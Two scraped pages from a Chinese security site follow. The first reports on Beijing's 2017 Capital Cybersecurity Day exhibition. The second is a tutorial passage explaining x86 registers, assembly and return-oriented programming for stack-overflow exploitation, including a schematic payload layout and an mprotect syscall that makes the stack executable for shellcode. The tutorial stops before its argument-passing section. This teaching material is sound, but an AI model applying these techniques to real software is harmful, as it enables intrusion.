首都网络安全日

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【精彩集锦】安全客带您逛逛429首都网络安全日(4.26-4.28)
阅读量 74447 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-04-28 10:16:11
http://p7.qhimg.com/t013405ed4c655a03d9.jpg

前言

为深入贯彻落实中央网络安全与信息化工作座谈会精神,积极推进网络强国建设,推动首都网络安全工作,自2014年起,北京市政府决定将每年的4月29日作为“首都网络安全日”,至今,该系列活动已成功举办了三届。此次活动还将延续“网络生活共享,网络安全同担”的主题,届时将召开“北京网络与信息安全博览会”,百余家企业参展;同时,业内大腕云集,现场活动精彩纷呈。

会议日程

https://p1.ssl.qhimg.com/t01d1556e636b83cc34.png

4月27日分论坛日程

https://p1.ssl.qhimg.com/t01e964165ab7115df7.png

https://p5.ssl.qhimg.com/t01f7c08c753784dafd.png

https://p2.ssl.qhimg.com/t01f7c08c753784dafd.png

https://p2.ssl.qhimg.com/t01bcef7b20dea6cf2e.png

https://p5.ssl.qhimg.com/t010c8d89d7469d27f7.png

https://p1.ssl.qhimg.com/t01edddfaa4dc40deeb.png

https://p1.ssl.qhimg.com/t01da8d8ce71d2e82a2.png

作为本届系列宣传活动的重要内容之一,“360春秋杯”国际网络安全挑战赛与“2017年北京国际互联网科技博览会暨世界网络安全大会”形成有机联动,共同从网络安全技术创新、网络安全人才培养、全民网络安全意识教育等多个层面将大赛打造成一个国际化、专业化、普及化的竞赛平台。

决赛将在北京展览馆举行,通过永信至诚e春秋竞赛平台,采用时下主流的网络对抗赛制(AWD),并邀请3支国际顶级战队,两支香港、澳门地区的战队,三支百度杯优秀战队进行同场比拼,比赛将实现京港澳地区与全球顶级战队的网络安全竞赛对抗场面。

安全客将全程图文直播”360春秋杯“,欢迎小伙伴们关注呦!

https://p5.ssl.qhimg.com/t0199c93540be280c70.jpg

精彩集锦

2017年第四届“429首都网络安全日”举办时间为4月26日、27日、28日,地点为北京展览馆。

http://p4.qhimg.com/t01c978bcf687e3f6c7.jpg

没有提前报名的小伙伴们,可到现场报名参加,进去展馆前,工作人员会贴心的为您发放参展指南呦~

http://p8.qhimg.com/t01db59dfc4fe6c5f8b.jpg

http://p4.qhimg.com/t01ce54c269289257f6.jpg

阿里巴巴集团展区

阿里巴巴首次携全线业务展示在安全、互联网+公益等多个领域的成果。十八年发展,阿里巴巴已经构建起广袤的生态,横跨电商、大文娱、云计算以及物流等领域,形态丰富,体系庞大,是实打实的新“经济体”。2005年,阿里巴巴成立集团安全部,当时的初衷非常简单,保护阿里生态的安全。十多年来,这个团队一直在安全领域做技术研究、产品开发、方案制定,进行了很好的生态布局。

http://p3.qhimg.com/t0173c585e70021214a.jpg

http://p8.qhimg.com/t016020b3cacbd3e850.jpg

360公司展区

安全始终是360的核心业务,而360也在重新定义“大安全”的概念。未来,依靠自身在安全领域的雄厚实力和技术积累,360希望能够支持解决从国家安全、社会安全、基础设施安全、企业安全,到个人安全、人身安全在内的一系列安全问题。

http://p7.qhimg.com/t013cb1012290501274.jpg

360“变脸”体验专区

人脸识别越来越常见,春运也已经能刷脸进站。为了让参观者花式体验这项技术,360人工智能研究院在现场设置了“变脸”体验专区,通过花椒相机的变脸特效,从蝙蝠侠到呆萌动物,观众可随时变身。

http://p2.qhimg.com/t018aa7db88743123d5.jpg

360绵羊墙展示区

公共场合免费WiFi上网越来越方便了,但免费WIFI正成为各种网络陷阱、钓鱼诈骗的“重灾区”,免费WiFi环境中,用户隐私和数据安全难以保证。360在活动现场设置“绵羊墙”体验区的目的就是让用户直观感知随意接入免费WiFi的安全风险,提醒用户在公共场所使用手机、电脑等上网设备时注意安全,如果电脑、手机等智能设备中包含敏感信息,请不要在公共场所随意接入免费公共网络。

http://p7.qhimg.com/t01c3387b35d0474c7e.jpg

网络透明人体验区

“网络透明人”模拟的是现实生活中盗刷银行卡的黑客攻击。360展区设置了一道看似非常普通的安检门,然而一旦有观众从中穿过,那么他的姓名、身份证号、银行账户、账户最近几笔的交易资料、甚至账户结余金额等信息,就会显示在面前的镜子中,变身成为“网络透明人”。

http://p8.qhimg.com/t014de82d02fc2668bf.jpg

百度安全展区

今年“安全日”百度安全将以全新的互联网安全思维,携百度安全实验室出品的百度安全OASES开放自适应安全扩展系统(百度在业界首创用于解决Android生态安全问题的解决方案)、百度昊天镜威胁情报平台(百度安全业务下一代大数据智能情报分析平台)和AVP移动应用分析平台(新一代综合性移动安全服务SaaS平台)扑面而来,将结合市政交通、金融支付、智慧医疗、智慧生活等大型综合社会服务领域安全隐患,真实演绎人工智能技术在全新应用领域中的智能解决方案。

http://p8.qhimg.com/t01615a17f81e0474cb.jpg

安赛展区

安赛,始终专注于智能安全。本次大会,安赛携全面升级的智能安全产品精彩亮相,重点展示以“智能”为核心的产品,涵盖漏洞安全管理(AIScanner)、下一代未知威胁发现与溯源(WebIDS)、高级持续性威胁预警(AIAPT)、智能云应用防火墙(Cloud-WAF)以及网络安全态势感知系统(AICyber-Security)等,展现了安赛科技的智能安全分析解决方案在日益严峻的企业安全威胁面前所发挥的重要作用。

https://p3.ssl.qhimg.com/t01820bca494e127c88.png

知道创宇展区

知道创宇是国内最早提出云监测与云防御理念的网络安全公司,经过多年的积累,利用在云计算及大数据处理方面的行业领先能力,可为客户提供具备国际一流安全技术标准的可视化解决方案,提升客户网络安全监测、预警及防御能力。

http://p6.qhimg.com/t01f591729a2ef96620.jpg

启明星辰展区

启明星辰拥有完善的专业安全产品线,横跨防火墙/UTM、入侵检测管理、网络审计、终端管理、加密认证等技术领域,共有百余个产品型号,并根据客户需求不断增加。启明星辰解决方案为客户的安全需求与信息安全产品、服务之间架起桥梁,将客户的安全保障体系与信息安全核心技术紧密相连,帮助其建立完善的安全保障体系。目前,公司在全国各省市自治区设立三十多家分支机构,拥有覆盖全国的渠道和售后服务体系 。

http://p3.qhimg.com/t0101105dd42c5b02ff.jpg

山石网科展区

山石网科专注于网络安全领域的前沿技术创新,为企业级和运营商用户提供智能化、高性能、高可靠、简单易用的网络安全解决方案。Hillstone以网络安全的需求变化为创新基点,立志为全球用户打造安全的网络环境,成为世界第一流的安全厂商。

http://p1.qhimg.com/t015ebac2924436a6c3.jpg

金山安全展区

金山安全在个人安全和企业安全领域有着数十年的产品与服务经验,尤其企业级安全产品在业内更是拥有大量的用户服务经验和良好口碑。此次参展的“云+关+端+边界”企业安全一体化方案,便是以大中型企业级用户为主要服务对象。经过多年的信息化建设,政府、企业的重要业务系统现已形成并堆积了多类别、跨平台的数据,不同业务系统的安全边界已经模糊。如果缺少整合的一体化的解决方案并以完善的信息化安全策略去监控、治理,必将埋下数据泄露等严重后果。

http://p9.qhimg.com/t012a84d2236df03c89.jpg

永信至诚企业安全大学展区

永信至诚企业安全人才能力提升解决方案涵盖130门、1500节、共计10500分钟的各类网络安全实用课程,并拥有200余个课程配套实验,根据企业安全人才的不同角色,推出了安全开发、安全运维、安全规划和安全管理四大职业课程体系,并针对电信、电力、能源、金融、制造、政府、教育、互联网8大行业推出了满足行业业务安全需求的专项人才培养体系,充分满足了各类企业对于网络安全实践型人才培养的不同维度需求。

http://p8.qhimg.com/t011a1fc1f2c4c2169e.jpg

北京四维创智展区

四维创智是网络信息安全服务领域中崛起的新星,专注于企业网络安全的检测和防护,致力于提高企业网络信息安全防护能力。 为政府、电力、金融等行业大客户提供可靠的网络安全解决方案和安全服务。同时为运营商、互联网公司和其他安全公司提供产品和服务共同打造安全可靠的互联网环境。

http://p3.qhimg.com/t01ab4f74f4fd1ec288.jpg

北京安华金和展区

安华金和专注于数据库安全领域,由长期致力于数据库内核研发和信息安全领域的专业资深人员共同创造,是国内领先的,提供全面的数据库安全产品、服务和解决方案服务商,覆盖数据库安全防护的事前检查、事中控制和事后审核,帮助用户全面实现数据库安全防护和安全合规。

安华金和数据库安全产品,已经广泛地应用于政府、社保、军队、军工、运营商、金融、医疗、企业信息防护等领域,建立了一定的声誉,成为众多渠道合作伙伴及终端用户在该数据库安全防护领域寻求产品和服务的首选。

http://p5.qhimg.com/t015e917e0d99d9ecc7.jpg

通付盾展区

通付盾集产、学、研为一体,致力于打造金融科技安全的全产业链服务模式:自2011年以来,通付盾投资数亿元,打造“通付盾云”。通过采用网络安全行业的新兴云服务模式,为客户带来高效、便捷的产品服务体验。截至目前,已累计服务数千家企业客户。

通付盾重视学科合作和技术研究、储备。通付盾与中国科技大学在安全领域的基础技术和前沿技术方面长期开展深度合作,并且成立了由区块链、反欺诈和移动安全三大实验室组成的研究院,以推动前沿新技术的产品化;

http://p1.qhimg.com/t01e0bd302ed0dbb423.jpg

绿盟科技展区

绿盟科技为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在检测防御类、安全评估类、安全平台类、远程安全运维服务、安全SaaS服务等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及安全运营等专业安全服务。

http://p8.qhimg.com/t01b84a6219022e7aae.jpg

蓝盾科技展区

十年以来蓝盾科技致力于网络安全产品的研发,已自主研发出蓝盾防火墙、多功能安全网关(UTM)、账号集中管理、安全审计、入侵检测、漏洞扫描等十个系列,近50个型号的产品,各项产品通过国家公安、安全、保密、军队等权威主管部门检测认证;并以安全产品为基础,建立信息安全保障体系为目标,以等级保护为主线,并提供等级保护咨询、风险评估、安全体系设计、安全规划、策略制定、安全建设与集成、安全运维外包服务、安全托管监控服务、安全培训等全方位的专业安全服务。是以安全产品、安全服务、安全集成的综合性网络安全公司。

http://p0.qhimg.com/t01134ba19bf95b2e19.jpg

PCSA展区

PCSA致力于云安全关键技术及标准的研究、应用和推广,为各行业(私有)云建设提供安全咨询和解决方案

http://p7.qhimg.com/t011b57cfa0c12cc882.jpg

码牛科技展区

专注于公共安全的互联网审计和大数据分析领域,为WLAN和公共上网场所提供审计服务,逐步积累形成大数据分析中心,并基于此开展内容运营服务。

码牛科技致力于高端信息安全产品的设计、研发、集成和运营,由一群年轻的IT资深专家创立,具有丰富的行业经验和客户积累,拥有多项自主研发的大数据软件产品和网络安全及互联网营销产品自主知识产权,在特定行业内的应用深得用户好评。

http://p3.qhimg.com/t014e95c83c0ce4e221.jpg

梆梆安全展区

梆梆安全运用前沿技术提供专业可靠的服务,为全球政府、企业、开发者和消费者打造安全、稳固、可信的移动应用生态环境。已为7万家注册企业及开发者,超过70万个移动应用提供移动应用安全服务。这些应用已累计安装在7亿移动终端上。梆梆安全企业级用户遍及金融、物联网、物联网、政府、军工、企业、能源、运营商、交通等各大行业,覆盖亚洲、欧洲及北美等主要市场。

http://p1.qhimg.com/t012b120e863b4eca0e.jpg

Neusoft东软展区

东软是中国最大的IT解决方案与服务供应商。东软以软件技术为核心,通过软件与服务的结合,软件与制造的结合,技术与行业管理能力的结合,提供行业解决方案和产品工程解决方案以及相关软件产品、平台及服务。

http://p3.qhimg.com/t010df0d2fd31d6b8b1.jpg

瑞星展区

在此次活动上,瑞星主打下一代企业安全解决方案,包括终端安全、边界安全和云安全三个部分,形成了“内外结合,防御感知”的安全体系。瑞星终端安全解决方案包括:瑞星杀毒软件网络版、瑞星ESM(瑞星下一代网络版杀毒软件),SaaS安全云终端;云安全解决方案包括:瑞星全系列虚拟化平台安全软件及Linux安全软件;网关安全解决方案包括:瑞星防毒墙、瑞星下一代防火墙、瑞星态势感知系统及上网行为管理系统等硬件产品。

http://p2.qhimg.com/t01a65d4fe369e2cc9e.png

卫达展区

北京卫达科技有限公司(VEDA)全球首创“智能动态防御”(AI Dynamic Defence)技术,颠覆传统网络安全理念、打破原有网络安全防御被动格局、引领新型网络安全防御技术发展方向。

http://p0.qhimg.com/t013d69c2d98909a4fa.jpg

立思辰展区

立思辰信息安全科技集团,顺应国家信息安全及国产替代的大趋势,致力于成为业界顶级的数据安全管控专家。围绕集团的战略发展方向,建立了完善的技术创新体系,并被国家授予了北京市企业研发中心、北京市工程实验室,并与浙江清华长三角研究院合作成立了立思辰企业研究中心。以数据全生命周期安全管控为基础,为行业用户提供安全解决方案,打造自主可控、安全可信、高效可用的信息系统,客户遍及政府、国防军工、教育、金融、能源、交通、通信等几大行业。

http://p1.qhimg.com/t01f379557ce727fefd.jpg

上海兆芯集成电路展区

上海兆芯集成电路有限公司是国内领先的芯片设计厂商,兆芯是国内仅有的掌握中央处理器(CPU)、图形处理器(GPU)、芯片组(Chipset)三大核心技术的公司,拥有三大核心芯片的完全自主设计研发能力,全部研发环节透明可控,产品性能国内领先。其中,兆芯自主研发并量产的中央处理器(CPU)基于国际主流的x86架构,是目前国内唯一一个可以完全替代国外同类型产品的国产自主CPU供应商。

http://p7.qhimg.com/t01aecb386910aca993.jpg

匡恩网络展区

匡恩网络专注于物联网安全的高科技创新企业,在关键基础设施网络安全、工业控制网络安全、安全大数据分析这三个核心领域都有独到技术,业务范围涉及工业物联网安全、智慧城市、平安城市、车联网、智能制造等诸多领域。

http://p8.qhimg.com/t0125faadc3b38681bb.jpg

随着网络经济的发展和智能社会的快速推进,有工业物联网形成的安全问题日益突显、迅速放大,甚至将成为改变整个世界安全形势和格局的重要因素。目前,我国工业物联网安全面临着有安全缺运营、有数据缺分析、威胁感知难响应慢等难题,近年来我国电力、石化、烟草等行业都遭受了针对工业物联网的网络攻击,造成系统崩溃、数据采集失败、通信中断甚至停工、停产等严重后果。

为了响应“中国制造2025”及“两化融合”的行动纲领,解决工业物联网安全领域面临的严峻挑战,匡恩网络正式推出“工业物联网安全态势中心”一站式私有云平台安全解决方案,基于物联网、云计算、大数据等技术,对安全威胁进行综合处理,实现威胁预警、态势感知、攻击溯源和精确应对,为我国工业物联网产业的健康稳定发展保驾护航。

http://p8.qhimg.com/t01bcc6c327a3caf9e5.jpg

匡恩车联网威胁探知及主动防御平台

其中,针对智能网联汽车及车联网的安全风险,“车联网安全检测平台”采用全扩展式架构进行全方位、全智能、全可见式的安全检测,从接入安全、通讯安全、总线安全、车载系统安全四方面安全性(4S)进行全方位检测,并根据检测结果提供安全风险建议,提升汽车信息安全能力,加强汽车行业的安全技术积累,为汽车产业的安全发展保驾护航。

物联网产业规模庞大,提高物联网系统整体的安全性尤为重要。 “可信审计平台”将全面提升物联网系统的抗攻击抗病毒能力。该平台基于国内自主研发的TCM芯片硬件为可信根,通过可信链构建可信计算安全度量环境,确保系统启动链中各关键节点,如Bootloader、Linux内核、设备引擎、WEB服务等关键信息不被篡改或攻击,从而确保系统的启动过程安全可信。

http://p2.qhimg.com/t0112b9dc18d23ade46.jpg

工控安全

威努特和卫达是本次展会中专注于工控安全的两家公司

威努特展区

http://p8.qhimg.com/t015ae804097810a05d.jpg

威努特工控网络攻防演练平台是在工业现场仿真系统的基础上,进行攻击渗透和安全防护演示,集教学、科研、评测、展示等功能于一体的综合性工控安全实验平台。通过模拟攻击行为和防护措施,展现攻击效果、验证防护措施的有效性,帮助工业企业提高综合防护能力。支撑国家“以攻促防”、“以攻代防”的网络安全战略。

http://p5.qhimg.com/t01f76bf810b7d2b8e2.jpg

关键信息基础设施等级保护研讨会

http://p4.qhimg.com/t01f4be119b854d42ce.jpg

第二届“关键信息基础设施等级保护研讨会”在北京展览馆成功举行,本次研讨会由公安部主办,中央网信办、国家保密局、国家密码管理局支持,北京市公安局承办,360企业安全集团协办。公安部、国家保密局、国家密码管理局等部门领导,网络安全等级保护专家委员会委员,国家网络与信息安全信息通报机制成员单位相关领导、技术支持单位的专家共计近500人参加了此次研讨论。

http://p6.qhimg.com/t01afb564f687a7b9c5.jpg

本次研讨会是为贯彻中央领导关于网络安全的重要指示精神,深化学习贯彻《网络安全法》,增强重要行业部门和社会各界维护关键信息基础设施安全的意识,切实加强国家关键信息基础设施安全保护工作而举办的。

http://p8.qhimg.com/t019947a8644b6ea93c.jpg

研讨会上,中国工程院沈昌祥院士、公安部网络安全保卫局郭启全总工程师、国土资源部信息中心顾炳中总工程师、国家烟草专卖局张雪峰副巡视员和国家电网信通部王继业主任以及360公司高级副总裁兼首席安全官谭晓生、上海交通大学信息安全服务技术研究实验室副主任银鹰博士等专家,分别作了“关键信息基础设施等级保护核心技术”、“网络安全等级保护制度与关键信息基础设施保护”、“如何理解网络安全等级保护制度进入2.0时代”、“烟草行业深化开展关键信息基础设施等级保护工作经验介绍”及“以态势感知为中心构建关键信息基础设施立体防御体系”等专题报告,交流研讨了发达国家在关键信息基础设施保护方面的法律法规、政策标准、主要举措以及对我国的启示借鉴;交流了深化以保护关键信息基础设施为重点的网络安全等级保护制度的工作经验,探讨加强国家关键信息基础设施等级保护的主要举措、新技术和新方法。

http://p7.qhimg.com/t0141eaaac8a3bf878d.jpg

治理沾毒网站 保护上网安全专题论坛

网站被挂马、暗链和恶意篡改已经成为危害网站安全的突出问题,给网民上网带来安全风险和隐患威胁。一些“染”毒网站还成为网上诈骗、淫秽色情、赌博等违法信息,以及黑客攻击和侵犯公民个人信息等网络犯罪活动的重要载体和渠道。治理“染”毒网站,需要打防结合、综合治理。当前,重要的措施是迅速行动,清理“染”毒网站,提升网站安全防护能力。

为此,在公安部网络安全保卫局的指导下,在北京“首都网络安全宣传日”活动中,公安部第三研究所、网络安全事件预警与防控技术国家工程实验室联合阿里、百度、360、安恒、知道创宇等国内知名互联网企业、网络安全企业,面向广大网站开办维护人员、互联网数据中心管理人员和网络安全从业人员,以及广大网民,举办“治理‘染’毒网站 保障上网安全”专题论坛,宣传网站安全防护、防范“染”毒网站知识,首次在国内推出公益性网站安全服务。

http://p4.qhimg.com/t01faaad75cb5af2b88.jpg

明星代言打击网络黑产

http://p3.qhimg.com/t0177eb4c4ce6b381b8.jpg

http://p8.qhimg.com/t01422f7cfaee0e1d7a.jpg

http://p8.qhimg.com/t01cfff19d64d8d82c0.jpg

演讲人:百度公司 武广柱首席架构师

议题:基于搜索引擎染毒网站识别

http://p9.qhimg.com/t0165ca7cb1e976d1ee.jpg

演讲人:360企业安全集团副总裁 欧怀谷

议题:云端联动,治理网站三大顽疾

http://p7.qhimg.com/t01113fd0766dd01002.jpg

http://p3.qhimg.com/t01887e02ee48200fda.png

展会亮点

1.着力突出大会定位—国际性、专业性、行业性、全面性、社会性。

自2015年第二届“429首都网络安全日”起,博览会经过三年的发展,在国内外政府信息安全部门、信息安全企业、科研院校、行业用户、媒体的支持下,成为国内汇聚最多知名企业、举办最多专业活动、邀请最多权威机构、吸引最多优质买家的信息安全专业展会,服务领域由网络安全、信息安全等专业领域,逐步延伸到市政交通、金融支付、智慧医疗、智慧生活等大型综合工程项目。2017年北京国际互联网科技博览会,利用积累优秀资源,邀请国内外互联网大咖和演讲嘉宾,通过展览、论坛、研讨会、竞赛、情怀活动等多种形式,全方位展示最前沿的网络安全和互联网技术和信息安全人才理念,倡导社会各界重视网络安全,提升社会各界的网络安全意识。

http://p0.qhimg.com/t0158b886c4d3083ac4.jpg

2.聚焦互联网新兴领域,引领行业创新风向标。

随着云计算、大数据、企业移动、物联网、人工智能等新技术涌现,新的应用领域及业务模式随之出现。但也带来了不少新的安全问题。对此,本着“网络安全同担、网络生活共享”的“429”活动主题,本届大会期间将同步举办多场系列高峰论坛。论坛主题从网络安全延伸至人工智能、金融安全、智慧医疗、智能生活、智慧城市建设等内容,聚焦探讨网络安全技术和应用热点话题,洞悉全球信息安全最新发展趋势,与展览展示一体两翼、双剑合璧,强力推动首都各界网络安全建设,引领网络安全行业创新,促进网络安全产业发展。全行业通力合作,共建网络安全生态。

http://p3.qhimg.com/t0166f6742d084c14c0.jpg

3.向全市人民推广普及网络安全意识,建设网络良好生态。

我国经济发展进入新常态,新常态要有新动力,互联网在这方面可以大有作为。我们实施“互联网+”行动计划,带动全社会兴起了创新创业热潮树立正确的网络安全观,实现“两个一百年”奋斗目标,需要全社会方方面面同心干,需要全国各族人民心往一处想、劲往一处使。网络安全为人民,网络安全靠人民,维护网络安全是全社会共同责任,需要政府、企业、社会组织、广大网民共同参与,共筑网络安全防线。

4.全行业通力合作,共建网络安全生态。

2017年北京国际互联网科技博览会得到了中央网信办、公安部、工信部、国家保密局、国家密码管理局以及市各委办局、各区县等各级领导的广泛支持,吸引了阿里巴巴、百度、360、公安部三所、知道创宇、金山安全、匡恩、立思辰、梆梆安全、中关村信息安全测评联盟、行业云安全能力者联盟、北京网络行业协会等行业领军企业、协议机构同台竞技。参展企业达到120多家,总体展出面积共 20000平米。同时将邀请网络安全行业、银行和金融行业、水、电、煤、气、热等能源行业、通信服务行业、政府部门、部队、医疗机构、电商、第三方支付机构、科研院所、高等院校、专家学者、行业媒体等专业观众前来观展。与此同时,大会现场为合作的40多家大众媒体、网络主流媒体、纸媒、自媒体、直播平台提供免费的媒体中心,对大会进行持续全方位的报道。另外,今年的“新品发布”环节将全新升级,为参展企业打造全新发布平台。

参考链接

http://finance.ifeng.com/a/20170426/15321881_0.shtml

活动发布、推广及现场报道请联系安全客 duping@360.cn

商务合作,文章发布请联系 dengjinling@360.cn
安全活动

聪明的狗子 官方小编 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

三层网络靶场搭建&MSF内网渗透
2019-02-22 14:30:46

Drupal SA-CORE-2019-003 远程命令执行分析
2019-02-22 11:30:15

RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46

Pony Loader窃密木马样本分析
2019-02-22 10:30:17
|发表评论
发表你的评论吧
昵称
男科圣手
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
聪明的狗子
嗷呜
文章
86
粉丝
18
TA的文章
2018首席安全官(CSO)国际高峰论坛(干货PPT下载)
2018-04-27 15:18:31
429首都网络安全日
2018-04-25 13:24:12
全球没人能监控的聊天软件也要死了 — Telegram
2018-03-26 18:04:52
带一本书回家过年|安全客季刊精华合辑
2018-02-14 18:17:33
带一本书回家过年|安全客季刊精华合辑
2018-02-14 10:27:04
输入关键字搜索内容
相关文章
第二届世界物联网安全峰会WISS 2019将在京隆重召开
新课特惠 | 一文读懂人工智能、机器学习、深度学习、强化学习的关系
好课推荐,转发有礼 |《一篇文章了解云安全领域的新宠CCSK》
精彩回顾 | 2019数字中国网络安全生态峰会
58赶集集团第一届安全技术沙龙
SRC白帽子技术沙龙 | 安全+ WiFi万能钥匙SRC 苏宁SRC
陌陌惊喜 | 双倍积分活动来袭,单个漏洞基础奖励可达两万元
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

栈溢出

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【技术分享】手把手教你栈溢出从入门到放弃(下)
阅读量 62974 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-04-11 15:26:27
http://p9.qhimg.com/t018af7d3cc6c654e0e.jpg

传送门

【技术分享】手把手教你栈溢出从入门到放弃(上)

0x00 写在前面

首先还是广播一下2017 Pwn2Own 大赛的最终赛果,本次比赛共发现51个漏洞,长亭安全实验室贡献11个,以积26分的总成绩,在11支参赛团队中名列第三!同时,也祝贺国内的安全团队包揽本次大赛的前三名!

0x10 上期回顾

上篇文章介绍了栈溢出的原理和两种执行方法,两种方法都是通过覆盖返回地址来执行输入的指令片段(shellcode)或者动态库中的函数(return2libc)。本篇会继续介绍另外两种实现方法。一种是覆盖返回地址来执行内存内已有的代码片段(ROP),另一种是将某个函数的地址替换成另一个函数的地址(hijack GOT)。

0x20 相关知识

0x21 寄存器

在上篇的背景知识中,我们提到了函数状态相关的三个寄存器--esp,ebp,eip。下面的内容会涉及更多的寄存器,所以我们大致介绍下寄存器在执行程序指令中的不同用途。

32位x86架构下的寄存器可以被简单分为通用寄存器和特殊寄存器两类,通用寄存器在大部分汇编指令下是可以任意使用的(虽然有些指令规定了某些寄存器的特定用途),而特殊寄存器只能被特定的汇编指令使用,不能用来任意存储数据。

32位x86架构下的通用寄存器包括一般寄存器(eax、ebx、ecx、edx),索引寄存器(esi、edi),以及堆栈指针寄存器(esp、ebp)。

一般寄存器用来存储运行时数据,是指令最常用到的寄存器,除了存放一般性的数据,每个一般寄存器都有自己较为固定的独特用途。eax 被称为累加寄存器(Accumulator),用以进行算数运算和返回函数结果等。ebx 被称为基址寄存器(Base),在内存寻址时(比如数组运算)用以存放基地址。ecx 被称为记数寄存器(Counter),用以在循环过程中记数。edx 被称为数据寄存器(Data),常配合 eax 一起存放运算结果等数据。

索引寄存器通常用于字符串操作中,esi 指向要处理的数据地址(Source Index),edi 指向存放处理结果的数据地址(Destination Index)。

堆栈指针寄存器(esp、ebp)用于保存函数在调用栈中的状态,上篇已有详细的介绍。

32位x86架构下的特殊寄存器包括段地址寄存器(ss、cs、ds、es、fs、gs),标志位寄存器(EFLAGS),以及指令指针寄存器(eip)。

现代操作系统内存通常是以分段的形式存放不同类型的信息的。我们在上篇谈及的函数调用栈就是分段的一个部分(Stack Segment)。内存分段还包括堆(Heap Segment)、数据段(Data Segment),BSS段,以及代码段(Code Segment)。代码段存储可执行代码和只读常量(如常量字符串),属性可读可执行,但通常不可写。数据段存储已经初始化且初值不为0的全局变量和静态局部变量,BSS段存储未初始化或初值为0的全局变量和静态局部变量,这两段数据都有可写的属性。堆用于存放程序运行中动态分配的内存,例如C语言中的 malloc() 和 free() 函数就是在堆上分配和释放内存。各段在内存的排列如下图所示。

http://p7.qhimg.com/t013d30b39dc4a0e20c.png

Fig1. 内存分段的典型布局

段地址寄存器就是用来存储内存分段地址的,其中寄存器 ss 存储函数调用栈(Stack Segment)的地址,寄存器 cs 存储代码段(Code Segment)的地址,寄存器 ds 存储数据段(Data Segment)的地址,es、fs、gs 是附加的存储数据段地址的寄存器。

标志位寄存器(EFLAGS)32位中的大部分被用于标志数据或程序的状态,例如 OF(Overflow Flag)对应数值溢出、IF(Interrupt Flag)对应中断、ZF(Zero Flag)对应运算结果为0、CF(Carry Flag)对应运算产生进位等等。

指令指针寄存器(eip)存储下一条运行指令的地址,上篇已有详细的介绍。

0x22 汇编指令

为了更好地理解后面的内容,一点点汇编语言的知识也是必要的,本节会介绍一些基础指令的含义。32位x86架构下的汇编语言有 Intel 和 AT&T 两种格式,本文所用汇编指令都是 Intel 格式。两者最主要的差别如下。

Intel 格式,寄存器名称和数值前无符号:

“指令名称 目标操作数 DST,源操作数 SRC”

AT&T 格式,寄存器名称前加“%”,数值前加“$”:

“指令名称 源操作数 SRC,目标操作数 DST”

一些最常用的汇编指令如下:

MOV:数据传输指令,将 SRC 传至 DST,格式为

MOV DST, SRC;
PUSH:压入堆栈指令,将 SRC 压入栈内,格式为

PUSH SRC;
POP:弹出堆栈指令,将栈顶的数据弹出并存至 DST,格式为

POP DST;
LEA:取地址指令,将 MEM 的地址存至 REG ,格式为

LEA REG, MEM;
ADD/SUB:加/减法指令,将运算结果存至 DST,格式为

ADD/SUB DST, SRC;
AND/OR/XOR:按位与/或/异或,将运算结果存至 DST ,格式为

AND/OR/XOR DST,SRC;
CALL:调用指令,将当前的 eip 压入栈顶,并将 PTR 存入 eip,格式为

CALL PTR;
RET:返回指令,操作为将栈顶数据弹出至 eip,格式为

RET;
介绍完以上背景知识,就可以继续栈溢出技术之路了。

0x30 ROP ( Return Oriented Programming )

--修改返回地址,让其指向内存中已有的一段指令

根据上面副标题的说明,要完成的任务包括:在内存中确定某段指令的地址,并用其覆盖返回地址。可是既然可以覆盖返回地址并定位到内存地址,为什么不直接用上篇提到的 return2libc 呢?因为有时目标函数在内存内无法找到,有时目标操作并没有特定的函数可以完美适配。这时就需要在内存中寻找多个指令片段,拼凑出一系列操作来达成目的。假如要执行某段指令(我们将其称为“gadget”,意为小工具),溢出数据应该以下面的方式构造(padding 长度和内容的确定方式参见上篇):

payload : padding + address of gadget

http://p9.qhimg.com/t01603dd73e7c40e12b.png

Fig 2. 包含单个 gadget 的溢出数据

如果想连续执行若干段指令,就需要每个 gadget 执行完毕可以将控制权交给下一个 gadget。所以 gadget 的最后一步应该是 RET 指令,这样程序的控制权(eip)才能得到切换,所以这种技术被称为返回导向编程( Return Oriented Programming )。要执行多个 gadget,溢出数据应该以下面的方式构造:

payload : padding + address of gadget 1 + address of gadget 2 + ……

+ address of gadget n

在这样的构造下,被调用函数返回时会跳转执行 gadget 1,执行完毕时 gadget 1 的 RET 指令会将此时的栈顶数据(也就是 gadget 2 的地址)弹出至 eip,程序继续跳转执行 gadget 2,以此类推。

http://p8.qhimg.com/t0138c9e6f1ebc55036.png

Fig 3. 包含多个 gadget 的溢出数据

现在任务可以分解为:针对程序栈溢出所要实现的效果,找到若干段以 ret 作为结束的指令片段,按照上述的构造将它们的地址填充到溢出数据中。所以我们要解决以下几个问题。

首先,栈溢出之后要实现什么效果?

ROP 常见的拼凑效果是实现一次系统调用,Linux系统下对应的汇编指令是 int 0x80。执行这条指令时,被调用函数的编号应存入 eax,调用参数应按顺序存入 ebx,ecx,edx,esi,edi 中。例如,编号125对应函数

mprotect (void *addr, size_t len, int prot)

,可用该函数将栈的属性改为可执行,这样就可以使用 shellcode 了。假如我们想利用系统调用执行这个函数,eax、ebx、ecx、edx 应该分别为“125”、内存栈的分段地址(可以通过调试工具确定)、“0x10000”(需要修改的空间长度,也许需要更长)、“7”(RWX 权限)。

其次,如何寻找对应的指令片段?

有若干开源工具可以实现搜索以 ret 结尾的指令片段,著名的包括 ROPgadget、rp++、ropeme 等,甚至也可以用 grep 等文本匹配工具在汇编指令中搜索 ret 再进一步筛选。搜索的详细过程在这里就不再赘述,有兴趣的同学可以参考上述工具的说明文档。

最后,如何传入系统调用的参数?

